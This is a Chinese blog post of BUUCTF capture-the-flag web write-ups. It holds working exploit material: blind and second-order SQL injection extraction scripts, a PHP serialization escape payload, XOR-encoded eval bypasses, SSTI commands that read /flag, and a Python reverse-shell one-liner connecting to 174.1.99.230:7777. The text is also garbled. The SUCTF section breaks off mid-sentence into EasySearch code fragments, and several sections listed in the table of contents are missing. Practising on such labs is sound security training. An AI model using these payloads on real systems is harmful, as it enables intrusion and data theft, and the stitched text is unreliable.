BUUCTF刷题记录(4)

文章目录

  • web
    • [ACTF2020 新生赛]Upload
    • [安洵杯 2019]easy_serialize_php
    • [BJDCTF2020]Mark loves cat
    • [CISCN2019 总决赛 Day2 Web1]Easyweb
    • [BJDCTF2020]The mystery of ip
    • [SUCTF 2019]EasyWeb
    • [V&N2020 公开赛]HappyCTFd
    • [BJDCTF2020]ZJCTF,不过如此
      • 方法1:使用源码给的getFlag函数
      • 方法2:构造post传参
    • [BJDCTF2020]Cookie is so stable
    • [HITCON 2017]SSRFme
    • [极客大挑战 2019]FinalSQL
    • [BJDCTF2020]EasySearch
    • [V&N2020 公开赛]CHECKIN
    • [RoarCTF 2019]Online Proxy

web

打ctf(×)
被ctf打(√)

[ACTF2020 新生赛]Upload

和之前极客大挑战一样的题,上传后缀为phtml即可
BUUCTF刷题记录(4)_第1张图片
连上蚁剑,即可得到flag
BUUCTF刷题记录(4)_第2张图片

[安洵杯 2019]easy_serialize_php

给出了源码,去看了wp

 

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo 'source_code';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

首先查看phpinfo有什么?f=phpinfo
BUUCTF刷题记录(4)_第3张图片
本题是关键字被置空导致长度变短,后面的值的单引号闭合了前面的值的单引号,导致一些内容逃逸。
我们利用变量覆盖post一个:
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
phpflag被替换为空后,$serialize_info的内容为
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
刚好把后面多余的img部分截断掉
BUUCTF刷题记录(4)_第4张图片
BUUCTF刷题记录(4)_第5张图片
最后POST提交:_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
BUUCTF刷题记录(4)_第6张图片
在这里插入图片描述
参考:王叹之:[安洵杯 2019]easy_serialize_php
[安洵杯 2019]easy_serialize_php

[BJDCTF2020]Mark loves cat

界面很炫,看不出名堂,看wp发现又是git泄露



include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){     //GET方式传flag只能传一个flag=flag
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){    //GET和POST其中之一必须传flag
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){    //GET和POST传flag,必须不能是flag=flag
    exit($is);
}

echo "the flag is: ".$flag;

是$$变量覆盖的问题
首先我们post值:$flag=flag,那么就变为了$$flag=flag
get传参为yds=flag这样随着源码执行以后就变成了 $yds=$flag;这里的$flag是真的flag,那么$$x = $$y,也就是$yds=flag{XXXXXX}。
又满足

if(!isset($_GET['flag']) && !isset($_POST['flag'])){    
    exit($yds);
}

即可输出$yds,为flag
BUUCTF刷题记录(4)_第7张图片

[CISCN2019 总决赛 Day2 Web1]Easyweb

查看robots.txt得到信息
在这里插入图片描述
没找到文件,看wp发现是image.php.bak

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

BUUCTF刷题记录(4)_第8张图片
对单引号进行了过滤,无法闭合单引号,所以我们用\0来转义掉它的单引号。\0经过addslashes函数会先变成\\0,然后经过str_replace函数,会变成\,这样,就把id后面的单引号给转义了。

select * from images where id='\' or path=' or 1=1#    //闭合成功

师傅脚本如下:

import requests

url = "http://9ab2997c-d180-475a-997b-cd035771b930.node3.buuoj.cn/image.php"
result = ''

for x in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        #payload = " or id=if(ascii(substr((database()),%d,1))>%d,1,0)#" % (x, mid)
        #payload = " or id=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),%d,1))>%d,1,0)#" % (x, mid)
        #users
        #payload = " or id=if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),%d,1))>%d,1,0)#" % (x, mid)
        #password
        payload = " or id=if(ascii(substr((select password from users limit 0,1),%d,1))>%d,1,0)#" % (x, mid)
        params = {
            'id':'\\0',
            'path':payload
        }
        response = requests.get(url, params=params)
        if b'JFIF' in response.content:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

得到密码:f6be5fb688d9a417d057,登录发现是文件上传
因为不允许上传带php的文件名,我们用php短标签来绕过:
可以用来代替。这个文件名,会被写入日志文件中去,然后用菜刀连接。
抓包传入
BUUCTF刷题记录(4)_第9张图片
蚁剑连接,就可以在根目录得到flag
BUUCTF刷题记录(4)_第10张图片

参考:
Mustapha Mond :刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb
王叹之:[CISCN2019 总决赛 Day2 Web1]Easyweb

[BJDCTF2020]The mystery of ip

XFF头的ssti模板注入,不会,看wp
BUUCTF刷题记录(4)_第11张图片
首先发一个包添加:X-Forwarded-For: test
BUUCTF刷题记录(4)_第12张图片
可行,那么就开始执行语句了X-Forwarded-For: {{system('ls')}}
BUUCTF刷题记录(4)_第13张图片
最后在根目录得到flag,X-Forwarded-For: {{system('cat /flag')}}
BUUCTF刷题记录(4)_第14张图片

[SUCTF 2019]EasyWeb

题目给出了源码:


function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), ')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

借鉴师傅的文章:

  1. 代码中没有引号的字符都自动作为字符串:
    php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。
    就是$_GET['cmd']$_GET[cmd]都可以
  2. Ascii码大于 0x7F 的字符都会被当作字符串,而和 0xFF 异或相当于取反,可以绕过被过滤的取反符号
  3. PHP中的的大括号(花括号{})使用详解
    $str{4}在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理。
    那么使用${_GET}{cmd}

在这里插入图片描述
最后使用

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

BUUCTF刷题记录(4)_第15张图片
之后就是上传getshell了,php版本为7.2所以,不能用"; $file_shtml = "public/".get_hash().".shtml"; $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); $text = ' *** ***

Hello,'.$_POST['username'].'

*** ***'; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo ""; }else { *** } *** ?>

password前6个字符的md5加密值等于6d0bc1,师傅脚本如下:

import hashlib
list='0123456789'
for a in list:
    for b in list:
        for c in list:
            for d in list:
                for e in list:
                    for f in list:
                        for g in list:
                            str1 = (a+b+c+d+e+f+g)
                            value = hashlib.md5(str1.encode()).hexdigest()
                            if value[0:6] == '6d0bc1':
                                print(str1)

得到三个数,随便选一个就行
BUUCTF刷题记录(4)_第34张图片
抓包发现返回包有一个地址
BUUCTF刷题记录(4)_第35张图片
访问,wp说是SSI解析漏洞
BUUCTF刷题记录(4)_第36张图片
在username变量中传入ssi语句来远程执行系统命令

先ls没发现有用信息,使用
BUUCTF刷题记录(4)_第37张图片
发现flag
BUUCTF刷题记录(4)_第38张图片
接下来读取即可
BUUCTF刷题记录(4)_第39张图片
参考:[BJDCTF2020]EasySearch

[V&N2020 公开赛]CHECKIN

BUUCTF刷题记录(4)_第40张图片
题目给出了源码,看赵师傅wp

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

下面有个不带回显的 shell,在每次执行命令前都会把 flag 文件删除,那么就要反弹shell到自己的机器上
由于靶机不能访问外网,所以我们就要创一个小号来访问Basic上的靶机了,xshell连接,因为是python写的,所以用python反弹shell
ifconfig获取IP地址
获取靶机的ip地址填入即可,我的为174.1.99.230,端口自己设置一个,这里为7777,
nc -lvp 7777监听端口,多试了几次成功反弹

/shell?c=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.1.99.230',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

BUUCTF刷题记录(4)_第41张图片
借用赵师傅的话:反弹之后可以看见 flag 文件是被删除了,但由于之前程序打开了 flag 文件,在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用 rm -f flag.txt)删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。
BUUCTF刷题记录(4)_第42张图片
/proc/10/fd找到了flag
BUUCTF刷题记录(4)_第43张图片

参考链接:2020 年 V&N 内部考核赛 WriteUp

[RoarCTF 2019]Online Proxy

看wp后
查看源码看到客户端IP,猜测是把客户端的IP地址记录到数据库当中,经过尝试发现添加X-Forwarded-For可以修改ip,找到注入点
BUUCTF刷题记录(4)_第44张图片
时间盲注即可,赵师傅则是将字符转为数字直接输出,效率高得多:

#!/usr/bin/env python3

import requests

target = "http://node3.buuoj.cn:29745/"

def execute_sql(sql):
    print("[*]请求语句:" + sql)
    return_result = ""

    payload = "0'|length((" + sql + "))|'0"
    session = requests.session()
    r = session.get(target, headers={'X-Forwarded-For': payload})
    r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
    r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
    start_pos = r.text.find("Last Ip: ")
    end_pos = r.text.find(" -->", start_pos)
    length = int(r.text[start_pos + 9: end_pos])
    print("[+]长度:" + str(length))

    for i in range(1, length + 1, 5):
        payload = "0'|conv(hex(substr((" + sql + ")," + str(i) + ",5)),16,10)|'0"

        r = session.get(target, headers={'X-Forwarded-For': payload}) # 将语句注入
        r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})    # 查询上次IP时触发二次注入
        r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})    # 再次查询得到结果
        start_pos = r.text.find("Last Ip: ")
        end_pos = r.text.find(" -->", start_pos)
        result = int(r.text[start_pos + 9: end_pos])
        return_result += bytes.fromhex(hex(result)[2:]).decode('utf-8')

        print("[+]位置 " + str(i) + " 请求五位成功:" + bytes.fromhex(hex(result)[2:]).decode('utf-8'))

    return return_result


# 获取数据库
print("[+]获取成功:" + execute_sql("SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA"))

# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e'"))

# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e' AND TABLE_NAME = 'F4l9_t4b1e' "))

# 获取表中内容
print("[+]获取成功:" + execute_sql("SELECT group_concat(F4l9_C01uMn) FROM F4l9_D4t4B45e.F4l9_t4b1e"))

BUUCTF刷题记录(4)_第45张图片
参考:
[RoarCTF 2019]Online Proxy

你可能感兴趣的:(刷题)